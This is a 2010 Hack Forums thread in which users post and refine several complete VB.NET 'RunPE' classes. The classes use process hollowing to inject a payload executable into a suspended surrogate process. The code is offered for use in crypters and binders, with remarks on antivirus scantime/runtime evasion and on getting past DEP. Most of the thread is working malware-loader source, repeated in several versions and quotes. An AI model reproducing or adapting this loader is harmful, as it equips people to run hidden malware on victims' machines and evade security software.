

Forum:[Hack Forums](#)

Thread: [\[vb.net\] the RunPE thread](#)

t0fx - June 8, 2010, 12:28 pm

As it's not posted without a project, here's the runPE I used in Moon Crypter :

Code Class RunPE

```
Public Const PAGE_NOCACHE As Long = &H200
Public Const PAGE_EXECUTE_READWRITE As Long = &H40
Public Const PAGE_EXECUTE_WRITECOPY As Long = &H80
Public Const PAGE_EXECUTE_READ As Long = &H20
Public Const PAGE_EXECUTE As Long = &H10
Public Const PAGE_WRITECOPY As Long = &H8
Public Const PAGE_NOACCESS As Long = &H1
Public Const PAGE_READWRITE As Long = &H4
Public Const PAGE_READONLY As System.UInt32 = &H2

Shared Sub Execute(ByVal data() As Byte, ByVal target As String)
    Dim C = New H.Context, SH As H.Section_Header, PI = New H.Process_Information, SI = New
H.Startup_Information, PS = New H.Security_Flags, TS = New H.Security_Flags
    Dim GC = System.Runtime.InteropServices.GCHandle.Alloc(data,
System.Runtime.InteropServices.GCHandleType.Pinned)
    Dim Buffer As Integer = GC.AddrOfPinnedObject.ToInt32
    Dim DH As New H.DOS_Header
    DH = System.Runtime.InteropServices.Marshal.PtrToStructure(GC.AddrOfPinnedObject,
DH.GetType)
    GC.Free()
    If H.CreateProcess(Nothing, target, PS, TS, False, 4, Nothing, Nothing, SI, PI) = 0 Then Return
    Dim NH As New H.NT_Headers
    NH = System.Runtime.InteropServices.Marshal.PtrToStructure(New System.IntPtr(Buffer +
DH.Address), NH.GetType)
    Dim Address, Offset As Long, ret As UInteger
    SI.CB = Len(SI)
    C.Flags = 65538
    If NH.Signature <> 17744 Or DH.Magic <> 23117 Then Return
    If H.GetThreadContext(PI.Thread, C) And H.ReadProcessMemory(PI.Process, C.Ebx + 8,
Address, 4, 0) >= 0 And H.ZwUnmapViewOfSection(PI.Process, Address) >= 0 Then
        Dim ImageBase As System.UInt32 = H.VirtualAllocEx(PI.Process, NH.Optional.Image,
NH.Optional.SImage, 12288, 4)
        If ImageBase <> 0 Then
            H.WriteProcessMemory(PI.Process, ImageBase, data, NH.Optional.SHeaders, ret)
            Offset = DH.Address + 248
            For I As Integer = 0 To NH.File.Sections - 1
                SH = System.Runtime.InteropServices.Marshal.PtrToStructure(New System.IntPtr(Buffer +
Offset + I * 40), SH.GetType)
                Dim Raw(SH.Size) As Byte
                For Y As Integer = 0 To SH.Size - 1 : Raw(Y) = data(SH.Pointer + Y) : Next
                H.WriteProcessMemory(PI.Process, ImageBase + SH.Address, Raw, SH.Size, ret)
```

```

    H.VirtualProtectEx(PI.Process, ImageBase + SH.Address, SH.Misc.Size, Protect(SH.Flags),
Address)
    Next I
    Dim T = BitConverter.GetBytes(ImageBase)
    H.WriteProcessMemory(PI.Process, C.Ebx + 8, T, 4, ret)
    C.Eax = ImageBase + NH.Optional.Address
    H.SetThreadContext(PI.Thread, C)
    H.ResumeThread(PI.Thread)
End If
End If
End Sub

Public Shared Function RShift(ByVal IValue As Long, ByVal INumberOfBitsToShift As Long) As
Long
    RShift = vbLongToULong(IValue) / (2 ^ INumberOfBitsToShift)
End Function
Public Shared Function vbLongToULong(ByVal Value As Long) As Double
Const OFFSET_4 = 4294967296.0#
If Value < 0 Then
    vbLongToULong = Value + OFFSET_4
Else
    vbLongToULong = Value
End If
End Function

Public Shared Function Protect(ByVal characteristics As Long) As Long
Dim mapping() As Object = {PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _
PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _
PAGE_READWRITE, PAGE_EXECUTE_READWRITE}
Protect = mapping(RShift(characteristics, 29))
End Function

<System.ComponentModel.EditorBrowsable(1)> Friend Class H
<System.Runtime.InteropServices.StructLayout(0)> Structure Context
    Dim Flags, D0, D1, D2, D3, D6, D7 As System.UInt32, Save As Save
    Dim SG, SF, SE, SD, Edi, Esi, Ebx, Edx, Ecx, Eax, Ebp, Eip, SC, EFlags, Esp, SS As
System.UInt32

    <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.
ByValArray, SizeConst:=512)> Dim Registers As Byte()
End Structure
<System.Runtime.InteropServices.StructLayout(0)> Structure Save
    Dim Control, Status, Tag, ErrorO, ErrorS, DataO, DataS As UInteger

    <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.
ByValArray, SizeConst:=80)> Dim RegisterArea As Byte()
    Dim State As System.UInt32
End Structure
Structure Misc
    Dim Address, Size As System.UInt32
End Structure
Structure Section_Header
    Dim Name As Byte, Misc As Misc, Address, Size, Pointer, PRelocations, PLines, NRelocations,

```

```

NLines, Flags As System.UInt32
End Structure
Structure Process_Information
    Dim Process, Thread As System.IntPtr, ProcessId, ThreadId As Integer
End Structure
<System.Runtime.InteropServices.StructLayout(0, CharSet:=3)> Structure Startup_Information
    Dim CB As Integer, ReservedA, Desktop, Title As String, X, Y, XSize, YSize, XCount, YCount,
Fill, Flags As Integer
    Dim ShowWindow, ReservedB As Short, ReservedC, Input, Output, [Error] As Integer
End Structure
<System.Runtime.InteropServices.StructLayout(0)> Structure Security_Flags
    Dim Length As Integer, Descriptor As System.IntPtr, Inherit As Integer
End Structure
<System.Runtime.InteropServices.StructLayout(0)> Structure DOS_Header
    Dim Magic, Last, Pages, Relocations, Size, Minimum, Maximum, SS, SP, Checksum, IP, CS,
Table, Overlay As System.UInt16

    <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.
ByValArray, SizeConst:=4)> Dim ReservedA As System.UInt16()
    Dim ID, Info As System.UInt16

    <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.
ByValArray, SizeConst:=10)> Dim ReservedB As System.UInt16()
    Dim Address As System.Int32
End Structure
Structure NT_Headers
    Dim Signature As System.UInt32, File As File_Header, [Optional] As Optional_Headers
End Structure
<System.Runtime.InteropServices.StructLayout(0)> Structure File_Header
    Dim Machine, Sections As System.UInt16, Stamp, Table, Symbols As System.UInt32, Size,
Flags As System.UInt16
End Structure
<System.Runtime.InteropServices.StructLayout(0)> Structure Optional_Headers
    Public Magic As System.UInt16, Major, Minor As Byte, SCode, IData, UData, Address, Code,
Data, Image As System.UInt32, SectionA, FileA As System.UInt32
    Public MajorO, MinorO, MajorI, MinorI, MajorS, MinorS As System.UInt16, Version, SImage,
SHeaders, Checksum As System.UInt32, Subsystem, Flags As System.UInt16
    Public SSReserve, SSCommit, SHReserve, SHCommit, LFlags, Count As System.UInt32

    <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.
ByValArray, SizeConst:=16)> Public DataDirectory As Data_Directory()
End Structure
<System.Runtime.InteropServices.StructLayout(0)> Structure Data_Directory
    Dim Address, Size As System.UInt32
End Structure
Declare Auto Function CreateProcess Lib "kernel32" (ByVal name As String, ByVal command As
String, ByRef process As Security_Flags, ByRef thread As Security_Flags, ByVal inherit As
Boolean, ByVal flags As System.UInt32, ByVal system As System.IntPtr, ByVal current As String,
<System.Runtime.InteropServices.In()> ByRef startup As Startup_Information,
<System.Runtime.InteropServices.Out()> ByRef info As Process_Information) As Boolean
Declare Auto Function WriteProcessMemory Lib "kernel32" (ByVal process As System.IntPtr,
ByVal address As System.IntPtr, ByVal buffer As Byte(), ByVal size As System.IntPtr,
<System.Runtime.InteropServices.Out()> ByRef written As Integer) As Boolean

```

Declare Auto Function ReadProcessMemory Lib "kernel32" (ByVal process As System.IntPtr, ByVal address As System.IntPtr, ByRef buffer As System.IntPtr, ByVal size As System.IntPtr, ByRef read As Integer) As Integer

Declare Auto Function VirtualProtectEx Lib "kernel32" (ByVal process As System.IntPtr, ByVal address As System.IntPtr, ByVal size As System.UIntPtr, ByVal [new] As System.UIntPtr, <System.Runtime.InteropServices.Out> ByVal old As System.UInt32) As Integer

Declare Auto Function VirtualAllocEx Lib "kernel32" (ByVal process As System.IntPtr, ByVal address As System.IntPtr, ByVal size As System.UInt32, ByVal type As System.UInt32, ByVal protect As System.UInt32) As System.IntPtr

Declare Auto Function ZwUnmapViewOfSection Lib "ntdll" (ByVal process As System.IntPtr, ByVal address As System.IntPtr) As Long

Declare Auto Function ResumeThread Lib "kernel32" (ByVal thread As System.IntPtr) As System.UInt32

Declare Auto Function GetThreadContext Lib "kernel32" (ByVal thread As System.IntPtr, ByRef context As Context) As Boolean

Declare Auto Function SetThreadContext Lib "kernel32" (ByVal thread As System.IntPtr, ByRef context As Context) As Boolean

End Class

End Class

Some explanations about this code :

I found a runPE class on pastebin, it was based on Japarz's runPE.

I tried it but it was not working, so I checked the code and fixed the problem. This is the runPE I currently used in Moon Crypter.

Today I received a pm from Aeonhack saying that I used its runPE.

So most credits goes to him and to Japarz.

If you use this Class, you have to give credits to them.

alexj. - June 8, 2010, 12:36 pm

It really looks better but both of them dont Support Windows 7 nor 64-Bit. But still good work.

Bitwin - June 8, 2010, 12:41 pm

Both supports Windows 7, but not 64 bit.

julian - June 8, 2010, 2:28 pm

I'll fix it up some more.

It doesn't compile with option strict on.

It has many incorrect types. e.g. all those Longs.

Toxic Asshole - June 8, 2010, 3:27 pm

Nice job thanks for the share m8 I got the same runPE but got it working on 64 bit scantime+runtime.

JohnWayne - June 8, 2010, 3:31 pm

Would you care about telling us how you have done that or do it like quite 99% of the members...

Having a big mouth but not showing anything.

julian - June 8, 2010, 5:43 pm

I tried the code on a fresh Vista 32 virtual machine, and DEP stepped in and blocked it when I tried to run calc in a surrogate notepad process.

So, I had a go at unsetting the NxCompat bit in the PEHeader of calc.exe and found that it then worked. I guess you lot know that.

You could modify RunPE to ensure that the bit is unset in the bytes that you are trying to start. I'll have a go...

GodWall - June 8, 2010, 7:30 pm

Nice one thanks will try it soon :)

6e756c6c - June 8, 2010, 7:45 pm

It was never intended to work on 64bit, the fact that it runs on Windows 7 was if anything an accident really. I just wanted to clean up the code Japraz had provided, in the process I fixed up the API's a bit and removed unneeded code which incidentally made it Win7 compatible.

This is the most recent code to date.

Code Class RunPE

```
    Shared Sub Execute(ByVal data As Byte())
    Execute(data, Reflection.Assembly.GetEntryAssembly().Location)
    End Sub
    Shared Sub Execute(ByVal data As Byte(), ByVal target As String)
    Dim C = New H.Context, SH As H.Section_Header, PI = New H.Process_Information, SI = New
H.Startup_Information, PS = New H.Security_Flags, TS = New H.Security_Flags
    Dim GC = GCHandle.Alloc(data, GCHandleType.Pinned)
    Dim Buffer As Integer = GC.AddrOfPinnedObject.ToInt32
    Dim DH As New H.DOS_Header
    DH = Marshal.PtrToStructure(GC.AddrOfPinnedObject, DH.GetType)
    GC.Free()
    If H.CreateProcess(Nothing, target, PS, TS, False, 4, Nothing, Nothing, SI, PI) = 0 Then Return
    Dim NH As New H.NT_Headers
    NH = Marshal.PtrToStructure(New IntPtr(Buffer + DH.Address), NH.GetType)
    Dim Address As IntPtr, Offset As Long, ret As UInteger
    SI.CB = Marshal.SizeOf(SI)
    C.Flags = 65538
    If NH.Signature <> 17744 Or DH.Magic <> 23117 Then Return
    If H.GetThreadContext(PI.Thread, C) And H.ReadProcessMemory(PI.Process, C.Ebx + 8,
Address, 4, 0) >= 0 And H.ZwUnmapViewOfSection(PI.Process, Address) >= 0 Then
        Dim ImageBase As UInt32 = H.VirtualAllocEx(PI.Process, NH.Optional.Image,
NH.Optional.SImage, 12288, 4)
        If ImageBase <> 0 Then
            H.WriteProcessMemory(PI.Process, ImageBase, data, NH.Optional.SHeaders, ret)
            Offset = DH.Address + 248
            For I As Integer = 0 To NH.File.Sections - 1
                SH = Marshal.PtrToStructure(New IntPtr(Buffer + Offset + I * 40), SH.GetType)
                Dim Raw(SH.Size) As Byte
                For Y As Integer = 0 To SH.Size - 1
                    Raw(Y) = data(SH.Pointer + Y)
                Next
                H.WriteProcessMemory(PI.Process, ImageBase + SH.Address, Raw, SH.Size, ret)
                H.VirtualProtectEx(PI.Process, ImageBase + SH.Address, SH.Misc.Size, Protect(SH.Flags),
Address)
            Next I
            Dim T = BitConverter.GetBytes(ImageBase)
            H.WriteProcessMemory(PI.Process, C.Ebx + 8, T, 4, ret)
            C.Eax = ImageBase + NH.Optional.Address
        End If
    End If
End Sub
```

```

H.SetThreadContext(PI.Thread, C)
H.ResumeThread(PI.Thread)
End If
End If
End Sub
Private Shared Function Protect(ByVal flags As Long) As Long
If flags < 0 Then flags += 4294967296
Return New Long() {1, 16, 2, 32, 4, 64, 4, 64}(flags / 841)
End Function
<EditorBrowsable(1)> Friend Class H
<StructLayout(0)> Structure Context
Dim Flags, D0, D1, D2, D3, D6, D7 As UInt32, Save As Save
Dim SG, SF, SE, SD, Edi, Esi, Ebx, Edx, Ecx, Eax, Ebp, Eip, SC, EFlags, Esp, SS As UInt32
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Dim Registers As Byte()
End Structure
<StructLayout(0)> Structure Save
Dim Control, Status, Tag, ErrorO, ErrorS, DataO, DataS As UInteger
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Dim RegisterArea As Byte()
Dim State As UInt32
End Structure
Structure Misc
Dim Address, Size As UInt32
End Structure
Structure Section_Header
Dim Name As Byte, Misc As Misc, Address, Size, Pointer, PRelocations, PLines, NRelocations,
NLines, Flags As UInt32
End Structure
Structure Process_Information
Dim Process, Thread As IntPtr, ProcessId, ThreadId As Integer
End Structure
<StructLayout(0, CharSet:=3)> Structure Startup_Information
Dim CB As Integer, ReservedA, Desktop, Title As String, X, Y, XSize, YSize, XCount, YCount,
Fill, Flags As Integer
Dim ShowWindow, ReservedB As Short, ReservedC, Input, Output, [Error] As Integer
End Structure
<StructLayout(0)> Structure Security_Flags
Dim Length As Integer, Descriptor As IntPtr, Inherit As Integer
End Structure
<StructLayout(0)> Structure DOS_Header
Dim Magic, Last, Pages, Relocations, Size, Minimum, Maximum, SS, SP, Checksum, IP, CS,
Table, Overlay As UInt16
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> Dim ReservedA As UInt16()
Dim ID, Info As UInt16
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> Dim ReservedB As UInt16()
Dim Address As Int32
End Structure
Structure NT_Headers
Dim Signature As UInt32, File As File_Header, [Optional] As Optional_Headers
End Structure
<StructLayout(0)> Structure File_Header
Dim Machine, Sections As UInt16, Stamp, Table, Symbols As UInt32, Size, Flags As UInt16
End Structure
<StructLayout(0)> Structure Optional_Headers

```

```

    Public Magic As UInt16, Major, Minor As Byte, SCode, IData, UData, Address, Code, Data,
Image As UInt32, SectionA, FileA As UInt32
    Public MajorO, MinorO, MajorI, MinorI, MajorS, MinorS As UInt16, Version, SImage, SHeaders,
Checksum As UInt32, Subsystem, Flags As UInt16
    Public SSReserve, SSCommit, SHReserve, SHCommit, LFlags, Count As UInt32
    <MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> Public DataDirectory As
Data_Directory()
End Structure
<StructLayout(0)> Structure Data_Directory
    Dim Address, Size As UInt32
End Structure
Declare Auto Function CreateProcess Lib "kernel32" (ByVal name As String, ByVal command As
String, ByRef process As Security_Flags, ByRef thread As Security_Flags, ByVal inherit As
Boolean, ByVal flags As UInt32, ByVal system As IntPtr, ByVal current As String, <[In]()> ByRef
startup As Startup_Information, <Out()> ByRef info As Process_Information) As Boolean
Declare Auto Function WriteProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal
address As IntPtr, ByVal buffer As Byte(), ByVal size As IntPtr, <Out()> ByRef written As Integer) As
Boolean
Declare Auto Function ReadProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal
address As IntPtr, ByRef buffer As IntPtr, ByVal size As IntPtr, ByRef read As Integer) As Integer
Declare Auto Function VirtualProtectEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As
IntPtr, ByVal size As UIntPtr, ByVal [new] As UIntPtr, <Out()> ByVal old As UInt32) As Integer
Declare Auto Function VirtualAllocEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As
IntPtr, ByVal size As UInt32, ByVal type As UInt32, ByVal protect As UInt32) As IntPtr
Declare Auto Function ZwUnmapViewOfSection Lib "ntdll" (ByVal process As IntPtr, ByVal
address As IntPtr) As Long
Declare Auto Function ResumeThread Lib "kernel32" (ByVal thread As IntPtr) As UInt32
Declare Auto Function GetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As
Context) As Boolean
Declare Auto Function SetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As
Context) As Boolean
End Class
End Class
Usage would be something like..

```

```

Code RunPE.Execute(My.Resources.CLIENT)
Code 'This kind of defeats the purpose.
RunPE.Execute(IO.File.ReadAllBytes("C:\PathTo\File.exe"))

```

julian - June 12, 2010, 2:37 pm

Here's another RunPE for 32 bit, only tested on XP32. It's the same old crap, but I've got rid of a whole load of it which was unnecessary. All the structure declarations and marshalling from the pinned file bytes are unnecessary - we can just pick select bits from the byte array. The RShift thing isn't necessary, we have a >> operator now. The Longs were all incorrect. I'm going to make it unset the nxcompat bit too, maybe tomorrow.

```

Code Option Strict On
Option Explicit On

```

```

Imports System.Runtime.InteropServices
Imports System.Text

```

```

Public Class PE32

```

Private Shared ReadOnly prot() As Integer = {1, 16, 2, 32, 4, 64, 4, 64}

<System.Security.SuppressUnmanagedCodeSecurity()> _
Private Class Win32

<DllImport("kernel32")> Shared Function CreateProcess(ByVal appName As String, ByVal
commandLine As StringBuilder, _
ByVal procAttr As IntPtr, ByVal thrAttr As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal
inherit As Boolean, _
ByVal creation As Integer, ByVal env As IntPtr, ByVal curDir As String, ByVal sInfo() As Byte, _
ByVal pInfo() As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function

<DllImport("kernel32")> Shared Function GetThreadContext(ByVal hThr As IntPtr, _
ByVal ctxt() As UInteger) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function

<DllImport("ntdll")> Shared Function NtUnmapViewOfSection(ByVal hProc As IntPtr, ByVal
baseAddr As IntPtr) As UInteger
End Function

<DllImport("kernel32")> Shared Function ReadProcessMemory(ByVal hProc As IntPtr, ByVal
baseAddr As IntPtr, _
ByRef bufr As IntPtr, ByVal bufrSize As IntPtr, ByRef numRead As IntPtr) As
<MarshalAs(UnmanagedType.Bool)> Boolean
End Function

<DllImport("kernel32")> Shared Function ResumeThread(ByVal hThr As IntPtr) As Integer
End Function

<DllImport("kernel32")> Shared Function SetThreadContext(ByVal hThr As IntPtr, _
ByVal ctxt() As UInteger) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function

<DllImport("kernel32")> Shared Function VirtualAllocEx(ByVal hProc As IntPtr, ByVal addr As
IntPtr, _
ByVal size As IntPtr, ByVal allocType As Integer, ByVal prot As Integer) As IntPtr
End Function

<DllImport("kernel32")> Shared Function VirtualProtectEx(ByVal hProc As IntPtr, ByVal addr As
IntPtr, _
ByVal size As IntPtr, ByVal newProt As Integer, ByRef oldProt As Integer) As
<MarshalAs(UnmanagedType.Bool)> Boolean
End Function

<DllImport("kernel32")> Shared Function WriteProcessMemory(ByVal hProc As IntPtr, ByVal
baseAddr As IntPtr, _
ByVal buff() As Byte, ByVal size As IntPtr, ByRef numRead As IntPtr) As
<MarshalAs(UnmanagedType.Bool)> Boolean
End Function

End Class

```

Public Shared Sub RunPE(ByVal bytes() As Byte, ByVal surrogateProcess As String)
Dim offsetNtHeaders As Integer = BitConverter.ToInt32(bytes, 60)
Dim numberOfSections As Integer = BitConverter.ToInt16(bytes, offsetNtHeaders + 6)
Dim sizeofHeaders As New IntPtr(BitConverter.ToInt32(bytes, offsetNtHeaders + 84))
Dim si(67) As Byte
Dim pi(3) As IntPtr
If Not Win32.CreateProcess(Nothing, New StringBuilder(surrogateProcess), Nothing, Nothing, _
    False, 4, Nothing, Nothing, si, pi) Then Return
Dim ctxt(178) As UInteger
ctxt(0) = &H10002
Dim base, junk, addr As IntPtr
Dim res As Boolean
Dim junk2 As Integer
If Win32.GetThreadContext(pi(1), ctxt) Then
    If Win32.ReadProcessMemory(pi(0), New IntPtr(ctxt(41) + 8), addr, New IntPtr(4), junk) Then
        If Win32.NtUnmapViewOfSection(pi(0), addr) = 0 Then
            base = Win32.VirtualAllocEx(pi(0), New IntPtr(BitConverter.ToInt32(bytes, offsetNtHeaders +
52)), _
                New IntPtr(BitConverter.ToInt32(bytes, offsetNtHeaders + 80)), 12288, 64)
            res = Win32.WriteProcessMemory(pi(0), base, bytes, sizeofHeaders, junk)
            For i As Integer = 0 To numberOfSections - 1
                Dim sh(9) As Integer
                Buffer.BlockCopy(bytes, offsetNtHeaders + 248 + (i * 40), sh, 0, 40)
                Dim raw(sh(4) - 1) As Byte
                Buffer.BlockCopy(bytes, sh(5), raw, 0, raw.Length)
                res = Win32.WriteProcessMemory(pi(0), New IntPtr(base.ToInt32 + sh(3)), raw, New
IntPtr(raw.Length), junk)
                res = Win32.VirtualProtectEx(pi(0), New IntPtr(base.ToInt32 + sh(3)), _
                    New IntPtr(sh(2)), prot((sh(9) >> 29) And &H7), junk2)
            Next
            res = Win32.WriteProcessMemory(pi(0), New IntPtr(ctxt(41) + 8),
BitConverter.GetBytes(base.ToInt32), _
                New IntPtr(4), junk)
            ctxt(44) = CType(base.ToInt32 + BitConverter.ToInt32(bytes, offsetNtHeaders + 40), UInteger)
            Win32.SetThreadContext(pi(1), ctxt)
        End If
    End If
End If
Win32.ResumeThread(pi(1))
End Sub

End Class

```

Pandorum - June 12, 2010, 2:40 pm

Amazing guys thanks

:) :) :)

(Jun 8, 2010 07:45 PM)Aeonhack Wrote: [CITE](#) It was never intended to work on 64bit, the fact that it runs on Windows 7 was if anything an accident really. I just wanted to clean up the code Japraz had provided, in the process I fixed up the API's a bit and removed unneeded code which incidentally made it Win7 compatible.

This is the most recent code to date.

Code Class RunPE

```
    Shared Sub Execute(ByVal data As Byte())
    Execute(data, Reflection.Assembly.GetEntryAssembly().Location)
    End Sub
    Shared Sub Execute(ByVal data As Byte(), ByVal target As String)
    Dim C = New H.Context, SH As H.Section_Header, PI = New H.Process_Information, SI = New
H.Startup_Information, PS = New H.Security_Flags, TS = New H.Security_Flags
    Dim GC = GCHandle.Alloc(data, GCHandleType.Pinned)
    Dim Buffer As Integer = GC.AddrOfPinnedObject.ToInt32
    Dim DH As New H.DOS_Header
    DH = Marshal.PtrToStructure(GC.AddrOfPinnedObject, DH.GetType)
    GC.Free()
    If H.CreateProcess(Nothing, target, PS, TS, False, 4, Nothing, Nothing, SI, PI) = 0 Then Return
    Dim NH As New H.NT_Headers
    NH = Marshal.PtrToStructure(New IntPtr(Buffer + DH.Address), NH.GetType)
    Dim Address As IntPtr, Offset As Long, ret As UInteger
    SI.CB = Marshal.SizeOf(SI)
    C.Flags = 65538
    If NH.Signature <> 17744 Or DH.Magic <> 23117 Then Return
    If H.GetThreadContext(PI.Thread, C) And H.ReadProcessMemory(PI.Process, C.Ebx + 8,
Address, 4, 0) >= 0 And H.ZwUnmapViewOfSection(PI.Process, Address) >= 0 Then
        Dim ImageBase As UInt32 = H.VirtualAllocEx(PI.Process, NH.Optional.Image,
NH.Optional.SImage, 12288, 4)
        If ImageBase <> 0 Then
            H.WriteProcessMemory(PI.Process, ImageBase, data, NH.Optional.SHeaders, ret)
            Offset = DH.Address + 248
            For I As Integer = 0 To NH.File.Sections - 1
                SH = Marshal.PtrToStructure(New IntPtr(Buffer + Offset + I * 40), SH.GetType)
                Dim Raw(SH.Size) As Byte
                For Y As Integer = 0 To SH.Size - 1
                    Raw(Y) = data(SH.Pointer + Y)
                Next
                H.WriteProcessMemory(PI.Process, ImageBase + SH.Address, Raw, SH.Size, ret)
                H.VirtualProtectEx(PI.Process, ImageBase + SH.Address, SH.Misc.Size, Protect(SH.Flags),
Address)
            Next I
            Dim T = BitConverter.GetBytes(ImageBase)
            H.WriteProcessMemory(PI.Process, C.Ebx + 8, T, 4, ret)
            C.Eax = ImageBase + NH.Optional.Address
            H.SetThreadContext(PI.Thread, C)
            H.ResumeThread(PI.Thread)
        End If
    End If
    End Sub
    Private Shared Function Protect(ByVal flags As Long) As Long
    If flags < 0 Then flags += 4294967296
    Return New Long() {1, 16, 2, 32, 4, 64, 4, 64}(flags / 841)
    End Function
    <EditorBrowsable(1)> Friend Class H
    <StructLayout(0)> Structure Context
```

```

    Dim Flags, D0, D1, D2, D3, D6, D7 As UInt32, Save As Save
    Dim SG, SF, SE, SD, Edi, Esi, Ebx, Edx, Ecx, Eax, Ebp, Eip, SC, EFlags, Esp, SS As UInt32
    <MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Dim Registers As Byte()
End Structure
<StructLayout(0)> Structure Save
    Dim Control, Status, Tag, ErrorO, ErrorS, DataO, DataS As UInteger
    <MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Dim RegisterArea As Byte()
    Dim State As UInt32
End Structure
Structure Misc
    Dim Address, Size As UInt32
End Structure
Structure Section_Header
    Dim Name As Byte, Misc As Misc, Address, Size, Pointer, PRelocations, PLines, NRelocations,
NLines, Flags As UInt32
End Structure
Structure Process_Information
    Dim Process, Thread As IntPtr, ProcessId, ThreadId As Integer
End Structure
<StructLayout(0, CharSet:=3)> Structure Startup_Information
    Dim CB As Integer, ReservedA, Desktop, Title As String, X, Y, XSize, YSize, XCount, YCount,
Fill, Flags As Integer
    Dim ShowWindow, ReservedB As Short, ReservedC, Input, Output, [Error] As Integer
End Structure
<StructLayout(0)> Structure Security_Flags
    Dim Length As Integer, Descriptor As IntPtr, Inherit As Integer
End Structure
<StructLayout(0)> Structure DOS_Header
    Dim Magic, Last, Pages, Relocations, Size, Minimum, Maximum, SS, SP, Checksum, IP, CS,
Table, Overlay As UInt16
    <MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> Dim ReservedA As UInt16()
    Dim ID, Info As UInt16
    <MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> Dim ReservedB As UInt16()
    Dim Address As Int32
End Structure
Structure NT_Headers
    Dim Signature As UInt32, File As File_Header, [Optional] As Optional_Headers
End Structure
<StructLayout(0)> Structure File_Header
    Dim Machine, Sections As UInt16, Stamp, Table, Symbols As UInt32, Size, Flags As UInt16
End Structure
<StructLayout(0)> Structure Optional_Headers
    Public Magic As UInt16, Major, Minor As Byte, SCode, IData, UData, Address, Code, Data,
Image As UInt32, SectionA, FileA As UInt32
    Public MajorO, MinorO, MajorI, MinorI, MajorS, MinorS As UInt16, Version, SImage, SHeaders,
Checksum As UInt32, Subsystem, Flags As UInt16
    Public SSReserve, SSCommit, SHReserve, SHCommit, LFlags, Count As UInt32
    <MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> Public DataDirectory As
Data_Directory()
End Structure
<StructLayout(0)> Structure Data_Directory
    Dim Address, Size As UInt32
End Structure

```

```
Declare Auto Function CreateProcess Lib "kernel32" (ByVal name As String, ByVal command As String, ByRef process As Security_Flags, ByRef thread As Security_Flags, ByVal inherit As Boolean, ByVal flags As UInt32, ByVal system As IntPtr, ByVal current As String, <[In]()> ByRef startup As Startup_Information, <Out()> ByRef info As Process_Information) As Boolean
```

```
Declare Auto Function WriteProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal buffer As Byte(), ByVal size As IntPtr, <Out()> ByRef written As Integer) As Boolean
```

```
Declare Auto Function ReadProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByRef buffer As IntPtr, ByVal size As IntPtr, ByRef read As Integer) As Integer
```

```
Declare Auto Function VirtualProtectEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UIntPtr, ByVal [new] As UIntPtr, <Out()> ByVal old As UInt32) As Integer
```

```
Declare Auto Function VirtualAllocEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UInt32, ByVal type As UInt32, ByVal protect As UInt32) As IntPtr
```

```
Declare Auto Function ZwUnmapViewOfSection Lib "ntdll" (ByVal process As IntPtr, ByVal address As IntPtr) As Long
```

```
Declare Auto Function ResumeThread Lib "kernel32" (ByVal thread As IntPtr) As UInt32
```

```
Declare Auto Function GetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As Context) As Boolean
```

```
Declare Auto Function SetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As Context) As Boolean
```

```
End Class
```

```
End Class
```

Usage would be something like..

```
Code RunPE.Execute(My.Resources.CLIENT)
```

Code 'This kind of defeats the purpose.

```
RunPE.Execute(IO.File.ReadAllBytes("C:\PathToFile.exe"))
```

I'm just having a hard time where to use RunPE. Lets say if I was making a binder. << Newb

I think I understand what it does (Injects into another process)

Pandorum - June 13, 2010, 4:51 pm

(Jun 8, 2010 07:45 PM)Aeonhack Wrote: [\[CITE\]](#) It was never intended to work on 64bit, the fact that is runs on Windows 7 was if anything an accident really. I just wanted to clean up the code Japraz had provided, in the process I fixed up the API's a bit and removed unneeded code which incidentally made it Win7 compatible.

This is the most recent code to date.

```
Code Class RunPE
```

```
Shared Sub Execute(ByVal data As Byte())
```

```
Execute(data, Reflection.Assembly.GetEntryAssembly().Location)
```

```
End Sub
```

```
Shared Sub Execute(ByVal data As Byte(), ByVal target As String)
```

```
Dim C = New H.Context, SH As H.Section_Header, PI = New H.Process_Information, SI = New H.Startup_Information, PS = New H.Security_Flags, TS = New H.Security_Flags
```

```
Dim GC = GCHandle.Alloc(data, GCHandleType.Pinned)
```

```
Dim Buffer As Integer = GC.AddrOfPinnedObject.ToInt32
```

```
Dim DH As New H.DOS_Header
```

```
DH = Marshal.PtrToStructure(GC.AddrOfPinnedObject, DH.GetType)
```

```
GC.Free()
```

```
If H.CreateProcess(Nothing, target, PS, TS, False, 4, Nothing, Nothing, SI, PI) = 0 Then Return
```

```
